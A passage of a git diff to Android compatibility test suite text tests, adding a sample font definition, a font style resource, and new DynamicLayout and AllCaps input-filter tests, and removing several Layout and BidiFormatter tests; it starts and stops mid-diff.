<option name="config-descriptor:metadata" key="component" value="telecom" />
+ <option name="not-shardable" value="true" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsTelephony2TestCases.apk" />
diff --git a/tests/tests/text/Android.mk b/tests/tests/text/Android.mk
index 2210cbd..15a7bcc 100644
--- a/tests/tests/text/Android.mk
+++ b/tests/tests/text/Android.mk
@@ -35,9 +35,9 @@
LOCAL_PACKAGE_NAME := CtsTextTestCases
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-# uncomment when dalvik.annotation.Test* are removed or part of SDK
-#LOCAL_SDK_VERSION := current
+# Enforce public / test api only
+LOCAL_SDK_VERSION := test_current
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/text/assets/fonts/samplefont.ttx b/tests/tests/text/assets/fonts/samplefont.ttx
new file mode 100644
index 0000000..ba43639
--- /dev/null
+++ b/tests/tests/text/assets/fonts/samplefont.ttx
@@ -0,0 +1,180 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+ <GlyphOrder>
+ <GlyphID id="0" name=".notdef"/>
+ <GlyphID id="1" name="a"/>
+ </GlyphOrder>
+
+ <head>
+ <tableVersion value="1.0"/>
+ <fontRevision value="1.0"/>
+ <checkSumAdjustment value="0x640cdb2f"/>
+ <magicNumber value="0x5f0f3cf5"/>
+ <flags value="00000000 00000011"/>
+ <unitsPerEm value="1000"/>
+ <created value="Fri Mar 17 07:26:00 2017"/>
+ <macStyle value="00000000 00000000"/>
+ <lowestRecPPEM value="7"/>
+ <fontDirectionHint value="2"/>
+ <glyphDataFormat value="0"/>
+ </head>
+
+ <hhea>
+ <tableVersion value="1.0"/>
+ <ascent value="1000"/>
+ <descent value="-200"/>
+ <lineGap value="0"/>
+ <caretSlopeRise value="1"/>
+ <caretSlopeRun value="0"/>
+ <caretOffset value="0"/>
+ <reserved0 value="0"/>
+ <reserved1 value="0"/>
+ <reserved2 value="0"/>
+ <reserved3 value="0"/>
+ <metricDataFormat value="0"/>
+ </hhea>
+
+ <maxp>
+ <tableVersion value="0x10000"/>
+ <maxZones value="0"/>
+ <maxTwilightPoints value="0"/>
+ <maxStorage value="0"/>
+ <maxFunctionDefs value="0"/>
+ <maxInstructionDefs value="0"/>
+ <maxStackElements value="0"/>
+ <maxSizeOfInstructions value="0"/>
+ <maxComponentElements value="0"/>
+ </maxp>
+
+ <OS_2>
+ <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+ will be recalculated by the compiler -->
+ <version value="3"/>
+ <xAvgCharWidth value="594"/>
+ <usWeightClass value="400"/>
+ <usWidthClass value="5"/>
+ <fsType value="00000000 00001000"/>
+ <ySubscriptXSize value="650"/>
+ <ySubscriptYSize value="600"/>
+ <ySubscriptXOffset value="0"/>
+ <ySubscriptYOffset value="75"/>
+ <ySuperscriptXSize value="650"/>
+ <ySuperscriptYSize value="600"/>
+ <ySuperscriptXOffset value="0"/>
+ <ySuperscriptYOffset value="350"/>
+ <yStrikeoutSize value="50"/>
+ <yStrikeoutPosition value="300"/>
+ <sFamilyClass value="0"/>
+ <panose>
+ <bFamilyType value="0"/>
+ <bSerifStyle value="0"/>
+ <bWeight value="5"/>
+ <bProportion value="0"/>
+ <bContrast value="0"/>
+ <bStrokeVariation value="0"/>
+ <bArmStyle value="0"/>
+ <bLetterForm value="0"/>
+ <bMidline value="0"/>
+ <bXHeight value="0"/>
+ </panose>
+ <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+ <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+ <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+ <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+ <achVendID value="UKWN"/>
+ <fsSelection value="00000000 01000000"/>
+ <usFirstCharIndex value="32"/>
+ <usLastCharIndex value="122"/>
+ <sTypoAscender value="800"/>
+ <sTypoDescender value="-200"/>
+ <sTypoLineGap value="200"/>
+ <usWinAscent value="1000"/>
+ <usWinDescent value="200"/>
+ <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+ <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+ <sxHeight value="500"/>
+ <sCapHeight value="700"/>
+ <usDefaultChar value="0"/>
+ <usBreakChar value="32"/>
+ <usMaxContext value="0"/>
+ </OS_2>
+
+ <hmtx>
+ <mtx name=".notdef" width="500" lsb="93"/>
+ <mtx name="a" width="3000" lsb="93"/> <!-- 3em -->
+ </hmtx>
+
+ <cmap>
+ <tableVersion version="0"/>
+ <cmap_format_4 platformID="3" platEncID="10" language="0">
+ <map code="0x0061" name="a" />
+ </cmap_format_4>
+ </cmap>
+
+ <loca>
+ <!-- The 'loca' table will be calculated by the compiler -->
+ </loca>
+
+ <glyf>
+ <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
+ <TTGlyph name="a" xMin="0" yMin="0" xMax="0" yMax="0" />
+ </glyf>
+
+ <name>
+ <namerecord nameID="0" platformID="3" platEncID="1" langID="0x409">
+ Copyright (C) 2017 The Android Open Source Project
+ </namerecord>
+ <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+ Sample Font
+ </namerecord>
+ <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+ Regular
+ </namerecord>
+ <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+ Sample Font
+ </namerecord>
+ <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+ SampleFont-Regular
+ </namerecord>
+ <namerecord nameID="13" platformID="3" platEncID="1" langID="0x409">
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ </namerecord>
+ <namerecord nameID="14" platformID="3" platEncID="1" langID="0x409">
+ http://www.apache.org/licenses/LICENSE-2.0
+ </namerecord>
+ </name>
+
+ <post>
+ <formatType value="3.0"/>
+ <italicAngle value="0.0"/>
+ <underlinePosition value="-75"/>
+ <underlineThickness value="50"/>
+ <isFixedPitch value="0"/>
+ <minMemType42 value="0"/>
+ <maxMemType42 value="0"/>
+ <minMemType1 value="0"/>
+ <maxMemType1 value="0"/>
+ </post>
+
+</ttFont>
diff --git a/tests/tests/text/res/font/samplefont.ttf b/tests/tests/text/res/font/samplefont.ttf
new file mode 100644
index 0000000..768a6f9
--- /dev/null
+++ b/tests/tests/text/res/font/samplefont.ttf
Binary files differ
diff --git a/tests/tests/text/res/values/style.xml b/tests/tests/text/res/values/style.xml
new file mode 100644
index 0000000..b122101
--- /dev/null
+++ b/tests/tests/text/res/values/style.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<resources>
+ <style name="customFont">
+ <item name="android:fontFamily">@font/samplefont</item>
+ </style>
+ <style name="customFontWithStyle">
+ <item name="android:fontFamily">@font/samplefont</item>
+ <item name="android:textStyle">bold|italic</item>
+ </style>
+</resources>
diff --git a/tests/tests/text/src/android/text/cts/BidiFormatterTest.java b/tests/tests/text/src/android/text/cts/BidiFormatterTest.java
index bf0d14e..d5277f5 100644
--- a/tests/tests/text/src/android/text/cts/BidiFormatterTest.java
+++ b/tests/tests/text/src/android/text/cts/BidiFormatterTest.java
@@ -94,52 +94,6 @@
}
@Test
- public void testMarkAfter() {
- assertEquals("uniform dir matches LTR context",
- "", LTR_FMT.markAfter(EN, TextDirectionHeuristics.LTR));
- assertEquals("uniform dir matches RTL context",
- "", RTL_FMT.markAfter(HE, TextDirectionHeuristics.RTL));
-
- assertEquals("exit dir opposite to LTR context",
- LRM, LTR_FMT.markAfter(EN + HE, TextDirectionHeuristics.LTR));
- assertEquals("exit dir opposite to RTL context",
- RLM, RTL_FMT.markAfter(HE + EN, TextDirectionHeuristics.RTL));
-
- assertEquals("overall dir (but not exit dir) opposite to LTR context",
- LRM, LTR_FMT.markAfter(HE + EN, TextDirectionHeuristics.RTL));
- assertEquals("overall dir (but not exit dir) opposite to RTL context",
- RLM, RTL_FMT.markAfter(EN + HE, TextDirectionHeuristics.LTR));
-
- assertEquals("exit dir neutral, overall dir matches LTR context",
- "", LTR_FMT.markAfter(".", TextDirectionHeuristics.LTR));
- assertEquals("exit dir neutral, overall dir matches RTL context",
- "", RTL_FMT.markAfter(".", TextDirectionHeuristics.RTL));
- }
-
- @Test
- public void testMarkBefore() {
- assertEquals("uniform dir matches LTR context",
- "", LTR_FMT.markBefore(EN, TextDirectionHeuristics.LTR));
- assertEquals("uniform dir matches RTL context",
- "", RTL_FMT.markBefore(HE, TextDirectionHeuristics.RTL));
-
- assertEquals("entry dir opposite to LTR context",
- LRM, LTR_FMT.markBefore(HE + EN, TextDirectionHeuristics.LTR));
- assertEquals("entry dir opposite to RTL context",
- RLM, RTL_FMT.markBefore(EN + HE, TextDirectionHeuristics.RTL));
-
- assertEquals("overall dir (but not entry dir) opposite to LTR context",
- LRM, LTR_FMT.markBefore(EN + HE, TextDirectionHeuristics.RTL));
- assertEquals("overall dir (but not entry dir) opposite to RTL context",
- RLM, RTL_FMT.markBefore(HE + EN, TextDirectionHeuristics.LTR));
-
- assertEquals("exit dir neutral, overall dir matches LTR context",
- "", LTR_FMT.markBefore(".", TextDirectionHeuristics.LTR));
- assertEquals("exit dir neutral, overall dir matches RTL context",
- "", RTL_FMT.markBefore(".", TextDirectionHeuristics.RTL));
- }
-
- @Test
public void testUnicodeWrap() {
// Make sure an input of null doesn't crash anything.
assertNull(LTR_FMT.unicodeWrap(null));
diff --git a/tests/tests/text/src/android/text/cts/DynamicLayoutTest.java b/tests/tests/text/src/android/text/cts/DynamicLayoutTest.java
index 426200b..02139c5 100644
--- a/tests/tests/text/src/android/text/cts/DynamicLayoutTest.java
+++ b/tests/tests/text/src/android/text/cts/DynamicLayoutTest.java
@@ -16,6 +16,8 @@
package android.text.cts;
+import static android.text.Layout.Alignment.ALIGN_NORMAL;
+
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNotNull;
@@ -27,6 +29,7 @@
import android.support.test.runner.AndroidJUnit4;
import android.text.DynamicLayout;
import android.text.Layout;
+import android.text.StaticLayout;
import android.text.TextPaint;
import android.text.TextUtils;
@@ -190,4 +193,64 @@
assertEquals(TEXT[0].length(), mDynamicLayout.getLineStart(LINE1));
assertEquals(TEXT[0].length() + TEXT[1].length(), mDynamicLayout.getLineStart(LINE2));
}
+
+ private Layout createStaticLayout(CharSequence text, TextPaint textPaint, int width,
+ float spacingAdd, float spacingMultiplier) {
+ return StaticLayout.Builder.obtain(text, 0,
+ text.length(), textPaint, width)
+ .setAlignment(ALIGN_NORMAL)
+ .setIncludePad(false)
+ .setLineSpacing(spacingAdd, spacingMultiplier)
+ .build();
+ }
+
+ private void assertLineSpecs(Layout expected, DynamicLayout actual) {
+ final int lineCount = expected.getLineCount();
+ assertTrue(lineCount > 1);
+ assertEquals(lineCount, actual.getLineCount());
+
+ for (int i = 0; i < lineCount; i++) {
+ assertEquals(expected.getLineTop(i), actual.getLineTop(i));
+ assertEquals(expected.getLineDescent(i), actual.getLineDescent(i));
+ assertEquals(expected.getLineBaseline(i), actual.getLineBaseline(i));
+ assertEquals(expected.getLineBottom(i), actual.getLineBottom(i));
+ }
+ }
+
+ @Test
+ public void testLineSpacing_notAffectedByPreviousEllipsization() {
+ // Create an ellipsized DynamicLayout, but throw it away.
+ final String ellipsizedText = "Some arbitrary relatively long text";
+ final DynamicLayout ellipsizedLayout = new DynamicLayout(
+ ellipsizedText,
+ ellipsizedText,
+ mDefaultPaint,
+ 1 << 20 /* width */,
+ DEFAULT_ALIGN,
+ SPACING_MULT_NO_SCALE,
+ SPACING_ADD_NO_SCALE,
+ true /* include pad */,
+ TextUtils.TruncateAt.END,
+ 2 * (int) mDefaultPaint.getTextSize() /* ellipsizedWidth */);
+
+ // Now try to measure linespacing in a non-ellipsized DynamicLayout.
+ final String text = "a\nb\nc";
+ final float spacingMultiplier = 2f;
+ final float spacingAdd = 4f;
+ final int width = 1000;
+ final TextPaint textPaint = new TextPaint();
+ // create the DynamicLayout
+ final DynamicLayout dynamicLayout = new DynamicLayout(text,
+ textPaint,
+ width,
+ ALIGN_NORMAL,
+ spacingMultiplier,
+ spacingAdd,
+ false /*includepad*/);
+
+ // create a StaticLayout with same text, this will define the expectations
+ Layout expected = createStaticLayout(text.toString(), textPaint, width, spacingAdd,
+ spacingMultiplier);
+ assertLineSpecs(expected, dynamicLayout);
+ }
}
diff --git a/tests/tests/text/src/android/text/cts/InputFilter_AllCapsTest.java b/tests/tests/text/src/android/text/cts/InputFilter_AllCapsTest.java
index 9e5d293..8b351b5 100644
--- a/tests/tests/text/src/android/text/cts/InputFilter_AllCapsTest.java
+++ b/tests/tests/text/src/android/text/cts/InputFilter_AllCapsTest.java
@@ -17,16 +17,24 @@
package android.text.cts;
import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
import android.support.test.filters.SmallTest;
import android.support.test.runner.AndroidJUnit4;
import android.text.InputFilter;
import android.text.InputFilter.AllCaps;
+import android.text.SpannableString;
import android.text.SpannableStringBuilder;
+import android.text.Spanned;
+import android.text.SpannedString;
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.util.Locale;
+
@SmallTest
@RunWith(AndroidJUnit4.class)
public class InputFilter_AllCapsTest {
@@ -41,7 +49,7 @@
String expectedString1 = "AllCAPSTest";
dest.insert(3, source);
- assertEquals(expectedString1 , dest.toString());
+ assertEquals(expectedString1, dest.toString());
String expectedString2 = "AllCAPSCAPS";
dest.replace(7, 11, source);
@@ -58,4 +66,76 @@
allCaps.filter(beforeFilterSource, 2, 7, dest, 0, beforeFilterSource.length());
assertEquals(expectedAfterFilter, actualAfterFilter);
}
+
+ @Test
+ public void testFilter_nonBMP() {
+ // The source string, lowerBee, is two code units that contains a single lowercase letter.
+ // DESERET SMALL LETTER BEE
+ final String lowerBee = new String(Character.toChars(0x1043A));
+ // DESERET CAPITAL LETTER BEE
+ final String upperBee = new String(Character.toChars(0x10412));
+
+ final AllCaps allCaps = new AllCaps();
+ final SpannedString dest = new SpannedString("");
+
+ // If given the whole string, the filter should transform it to uppercase.
+ assertEquals(upperBee, allCaps.filter(lowerBee, 0, lowerBee.length(), dest, 0, 0));
+
+ // If given just part of the character, it should be treated as an isolated surrogate
+ // and not get transformed, so null should be returned.
+ assertNull(allCaps.filter(lowerBee, 0, 1, dest, 0, 0));
+ }
+
+ @Test
+ public void testFilter_turkish() {
+ final String source = "i";
+ final AllCaps usAllCaps = new AllCaps(Locale.US);
+ final AllCaps turkishAllCaps = new AllCaps(new Locale("tr", "TR"));
+ final SpannedString dest = new SpannedString("");
+
+ assertEquals("I", usAllCaps.filter(source, 0, source.length(), dest, 0, 0));
+ assertEquals("İ", turkishAllCaps.filter(source, 0, source.length(), dest, 0, 0));
+ }
+
+ @Test
+ public void testFilter_titlecase() {
+ final String source = "Lj"; // U+01C8 LATIN CAPITAL LETTER L WITH SMALL LETTER J
+ final AllCaps allCaps = new AllCaps();
+ final SpannedString dest = new SpannedString("");
+
+ assertEquals("LJ", // LATIN CAPITAL LETTER LJ
+ allCaps.filter(source, 0, source.length(), dest, 0, 0));
+ }
+
+ @Test
+ public void testFilter_greekWithSpans() {
+ final Locale greek = new Locale("el", "GR");
+ final String lowerString = "ι\u0301ριδα"; // ίριδα with first letter decomposed
+ final String upperString = "ΙΡΙΔΑ"; // uppercased
+
+ final SpannableString source = new SpannableString(lowerString);
+ final Object span = new Object();
+ source.setSpan(span, 0, 2, Spanned.SPAN_INCLUSIVE_INCLUSIVE); // around "ί"
+
+ final AllCaps greekAllCaps = new AllCaps(greek);
+ final SpannedString dest = new SpannedString("");
+ final CharSequence result = greekAllCaps.filter(source, 0, source.length(), dest, 0, 0);
+
+ assertEquals(upperString, result.toString());
+ assertTrue(result instanceof Spanned);
+ final Spanned spannedResult = (Spanned) result;
+ final Object[] resultSpans = spannedResult.getSpans(
+ 0, spannedResult.length(), Object.class);
+ assertEquals(1, resultSpans.length);
+ assertSame(span, resultSpans[0]);
+ assertEquals(0, spannedResult.getSpanStart(span));
+ // The two characters in source have been transformed to one character in the result.
+ assertEquals(1, spannedResult.getSpanEnd(span));
+ assertEquals(Spanned.SPAN_INCLUSIVE_INCLUSIVE, spannedResult.getSpanFlags(span));
+ }
+
+ @Test(expected = NullPointerException.class)
+ public void testNullConstructor() {
+ new AllCaps(null);
+ }
}
diff --git a/tests/tests/text/src/android/text/cts/LayoutTest.java b/tests/tests/text/src/android/text/cts/LayoutTest.java
index 6b6c4fc..d6cd89c 100644
--- a/tests/tests/text/src/android/text/cts/LayoutTest.java
+++ b/tests/tests/text/src/android/text/cts/LayoutTest.java
@@ -17,281 +17,19 @@
package android.text.cts;
import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertSame;
import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-import android.graphics.Bitmap;
-import android.graphics.Canvas;
-import android.graphics.Paint;
-import android.graphics.Path;
-import android.graphics.Rect;
-import android.graphics.RectF;
import android.support.test.filters.SmallTest;
import android.support.test.runner.AndroidJUnit4;
import android.text.Layout;
-import android.text.Layout.Alignment;
-import android.text.Spannable;
-import android.text.SpannableString;
import android.text.TextPaint;
-import android.text.style.StrikethroughSpan;
-import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
-import java.util.ArrayList;
-import java.util.List;
-
@SmallTest
@RunWith(AndroidJUnit4.class)
public class LayoutTest {
- private final static int LINE_COUNT = 5;
- private final static int LINE_HEIGHT = 12;
- private final static int LINE_DESCENT = 4;
- private final static CharSequence LAYOUT_TEXT = "alwei\t;sdfs\ndf @";
-
- private int mWidth;
- private Layout.Alignment mAlign;
- private float mSpacingMult;
- private float mSpacingAdd;
- private SpannableString mSpannedText;
-
- private TextPaint mTextPaint;
-
- @Before
- public void setup() {
- mTextPaint = new TextPaint();
- mSpannedText = new SpannableString(LAYOUT_TEXT);
- mSpannedText.setSpan(new StrikethroughSpan(), 0, 1, Spannable.SPAN_INCLUSIVE_EXCLUSIVE);
- mWidth = 11;
- mAlign = Alignment.ALIGN_CENTER;
- mSpacingMult = 1;
- mSpacingAdd = 2;
- }
-
- @Test
- public void testConstructor() {
- new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth, mAlign, mSpacingMult, mSpacingAdd);
- }
-
- @Test(expected=IllegalArgumentException.class)
- public void testConstructorNull() {
- new MockLayout(null, null, -1, null, 0, 0);
- }
-
- @Test
- public void testGetText() {
- CharSequence text = "test case 1";
- Layout layout = new MockLayout(text, mTextPaint, mWidth,
- mAlign, mSpacingMult, mSpacingAdd);
- assertEquals(text, layout.getText());
-
- layout = new MockLayout(null, mTextPaint, mWidth, mAlign, mSpacingMult, mSpacingAdd);
- assertNull(layout.getText());
- }
-
- @Test
- public void testGetPaint() {
- Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
- mAlign, mSpacingMult, mSpacingAdd);
-
- assertSame(mTextPaint, layout.getPaint());
-
- layout = new MockLayout(LAYOUT_TEXT, null, mWidth, mAlign, mSpacingMult, mSpacingAdd);
- assertNull(layout.getPaint());
- }
-
- @Test
- public void testGetWidth() {
- Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, 10,
- mAlign, mSpacingMult, mSpacingAdd);
- assertEquals(10, layout.getWidth());
-
- layout = new MockLayout(LAYOUT_TEXT, mTextPaint, 0, mAlign, mSpacingMult, mSpacingAdd);
- assertEquals(0, layout.getWidth());
- }
-
- @Test
- public void testGetEllipsizedWidth() {
- Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, 15,
- mAlign, mSpacingMult, mSpacingAdd);
- assertEquals(15, layout.getEllipsizedWidth());
-
- layout = new MockLayout(LAYOUT_TEXT, mTextPaint, 0, mAlign, mSpacingMult, mSpacingAdd);
- assertEquals(0, layout.getEllipsizedWidth());
- }
-
- @Test
- public void testIncreaseWidthTo() {
- Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
- mAlign, mSpacingMult, mSpacingAdd);
- int oldWidth = layout.getWidth();
-
- layout.increaseWidthTo(oldWidth);
- assertEquals(oldWidth, layout.getWidth());
-
- try {
- layout.increaseWidthTo(oldWidth - 1);
- fail("should throw runtime exception attempted to reduce Layout width");
- } catch (RuntimeException e) {
- }
-
- layout.increaseWidthTo(oldWidth + 1);
- assertEquals(oldWidth + 1, layout.getWidth());
- }
-
- @Test
- public void testGetHeight() {
- Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
- mAlign, mSpacingMult, mSpacingAdd);
- assertEquals(60, layout.getHeight());
- }
-
- @Test
- public void testGetAlignment() {
- Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
- mAlign, mSpacingMult, mSpacingAdd);
- assertSame(mAlign, layout.getAlignment());
-
- layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth, null, mSpacingMult, mSpacingAdd);
- assertNull(layout.getAlignment());
- }
-
- @Test
- public void testGetSpacingMultiplier() {
- Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth, mAlign, -1, mSpacingAdd);
- assertEquals(-1.0f, layout.getSpacingMultiplier(), 0.0f);
-
- layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth, mAlign, 5, mSpacingAdd);
- assertEquals(5.0f, layout.getSpacingMultiplier(), 0.0f);
- }
-
- @Test
- public void testGetSpacingAdd() {
- Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth, mAlign, mSpacingMult, -1);
- assertEquals(-1.0f, layout.getSpacingAdd(), 0.0f);
-
- layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth, mAlign, mSpacingMult, 20);
- assertEquals(20.0f, layout.getSpacingAdd(), 0.0f);
- }
-
- @Test
- public void testGetLineBounds() {
- Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
- mAlign, mSpacingMult, mSpacingAdd);
- Rect bounds = new Rect();
-
- assertEquals(32, layout.getLineBounds(2, bounds));
- assertEquals(0, bounds.left);
- assertEquals(mWidth, bounds.right);
- assertEquals(24, bounds.top);
- assertEquals(36, bounds.bottom);
- }
-
- @Test
- public void testGetLineForVertical() {
- Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
- mAlign, mSpacingMult, mSpacingAdd);
- assertEquals(0, layout.getLineForVertical(-1));
- assertEquals(0, layout.getLineForVertical(0));
- assertEquals(0, layout.getLineForVertical(LINE_COUNT));
- assertEquals(LINE_COUNT - 1, layout.getLineForVertical(1000));
- }
-
- @Test
- public void testGetLineForOffset() {
- Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
- mAlign, mSpacingMult, mSpacingAdd);
- assertEquals(0, layout.getLineForOffset(-1));
- assertEquals(1, layout.getLineForOffset(1));
- assertEquals(LINE_COUNT - 1, layout.getLineForOffset(LINE_COUNT - 1));
- assertEquals(LINE_COUNT - 1, layout.getLineForOffset(1000));
- }
-
- @Test
- public void testGetLineEnd() {
- Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
- mAlign, mSpacingMult, mSpacingAdd);
- assertEquals(2, layout.getLineEnd(1));
- }
-
- @Test
- public void testGetLineVisibleEnd() {
- Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
- mAlign, mSpacingMult, mSpacingAdd);
-
- assertEquals(2, layout.getLineVisibleEnd(1));
- assertEquals(LINE_COUNT, layout.getLineVisibleEnd(LINE_COUNT - 1));
- assertEquals(LAYOUT_TEXT.length(), layout.getLineVisibleEnd(LAYOUT_TEXT.length() - 1));
- try {
- layout.getLineVisibleEnd(LAYOUT_TEXT.length());
- fail("should throw .StringIndexOutOfBoundsException here");
- } catch (StringIndexOutOfBoundsException e) {
- }
- }
-
- @Test
- public void testGetLineBottom() {
- Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
- mAlign, mSpacingMult, mSpacingAdd);
- assertEquals(LINE_HEIGHT, layout.getLineBottom(0));
- }
-
- @Test
- public void testGetLineBaseline() {
- Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
- mAlign, mSpacingMult, mSpacingAdd);
- assertEquals(8, layout.getLineBaseline(0));
- }
-
- @Test
- public void testGetLineAscent() {
- Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
- mAlign, mSpacingMult, mSpacingAdd);
- assertEquals(-8, layout.getLineAscent(0));
- }
-
- @Test
- public void testGetParagraphAlignment() {
- Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
- mAlign, mSpacingMult, mSpacingAdd);
- assertSame(mAlign, layout.getParagraphAlignment(0));
-
- layout = new MockLayout(mSpannedText, mTextPaint, mWidth,
- mAlign, mSpacingMult, mSpacingAdd);
- assertSame(mAlign, layout.getParagraphAlignment(0));
- assertSame(mAlign, layout.getParagraphAlignment(1));
- }
-
- @Test
- public void testGetParagraphLeft() {
- Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
- mAlign, mSpacingMult, mSpacingAdd);
- assertEquals(0, layout.getParagraphLeft(0));
- }
-
- @Test
- public void testGetParagraphRight() {
- Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
- mAlign, mSpacingMult, mSpacingAdd);
- assertEquals(mWidth, layout.getParagraphRight(0));
- }
-
- @Test
- public void testIsSpanned() {
- MockLayout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
- mAlign, mSpacingMult, mSpacingAdd);
- // default is not spanned text
- assertFalse(layout.mockIsSpanned());
-
- // try to create a spanned text
- layout = new MockLayout(mSpannedText, mTextPaint, mWidth,
- mAlign, mSpacingMult, mSpacingAdd);
- assertTrue(layout.mockIsSpanned());
- }
@Test
public void testGetDesiredWidthRange() {
@@ -322,181 +60,4 @@
assertTrue(widthLonger > widthShort);
assertTrue(widthLongest > widthLonger);
}
-
- private static final class MockLayout extends Layout {
- public MockLayout(CharSequence text, TextPaint paint, int width,
- Alignment align, float spacingmult, float spacingadd) {
- super(text, paint, width, align, spacingmult, spacingadd);
- }
-
- protected boolean mockIsSpanned() {
- return super.isSpanned();
- }
-
- @Override
- public int getBottomPadding() {
- return 0;
- }
-
- @Override
- public int getEllipsisCount(int line) {
- return 0;
- }
-
- @Override
- public int getEllipsisStart(int line) {
- return 0;
- }
-
- @Override
- public boolean getLineContainsTab(int line) {
- return false;
- }
-
- @Override
- public int getLineCount() {
- return LINE_COUNT;
- }
-
- @Override
- public int getLineDescent(int line) {
- return LINE_DESCENT;
- }
-
- @Override
- public Directions getLineDirections(int line) {
- return Layout.DIRS_ALL_LEFT_TO_RIGHT;
- }
-
- @Override
- public int getLineStart(int line) {
- if (line < 0) {
- return 0;
- }
- return line;
- }
-
- @Override
- public int getLineTop(int line) {
- if (line < 0) {
- return 0;
- }
- return LINE_HEIGHT * (line);
- }
-
- @Override
- public int getParagraphDirection(int line) {
- return 0;
- }
-
- @Override
- public int getTopPadding() {
- return 0;
- }
- }
-
- @Test
- public void testGetLineWidth() {
- Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
- mAlign, mSpacingMult, mSpacingAdd);
- for (int i = 0; i < LINE_COUNT; i++) {
- int start = layout.getLineStart(i);
- int end = layout.getLineEnd(i);
- String text = LAYOUT_TEXT.toString().substring(start, end);
- assertEquals(mTextPaint.measureText(text), layout.getLineWidth(i), 1.0f);
- }
- }
-
- @Test
- public void testGetCursorPath() {
- Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
- mAlign, mSpacingMult, mSpacingAdd);
- Path path = new Path();
- final float epsilon = 1.0f;
- for (int i = 0; i < LINE_COUNT; i++) {
- layout.getCursorPath(i, path, LAYOUT_TEXT);
- RectF bounds = new RectF();
- path.computeBounds(bounds, false);
- assertTrue(bounds.top >= layout.getLineTop(i) - epsilon);
- assertTrue(bounds.bottom <= layout.getLineBottom(i) + epsilon);
- }
- }
-
- @Test
- public void testDraw() {
- Layout layout = new MockLayout(LAYOUT_TEXT, mTextPaint, mWidth,
- mAlign, mSpacingMult, mSpacingAdd);
- final int width = 256;
- final int height = 256;
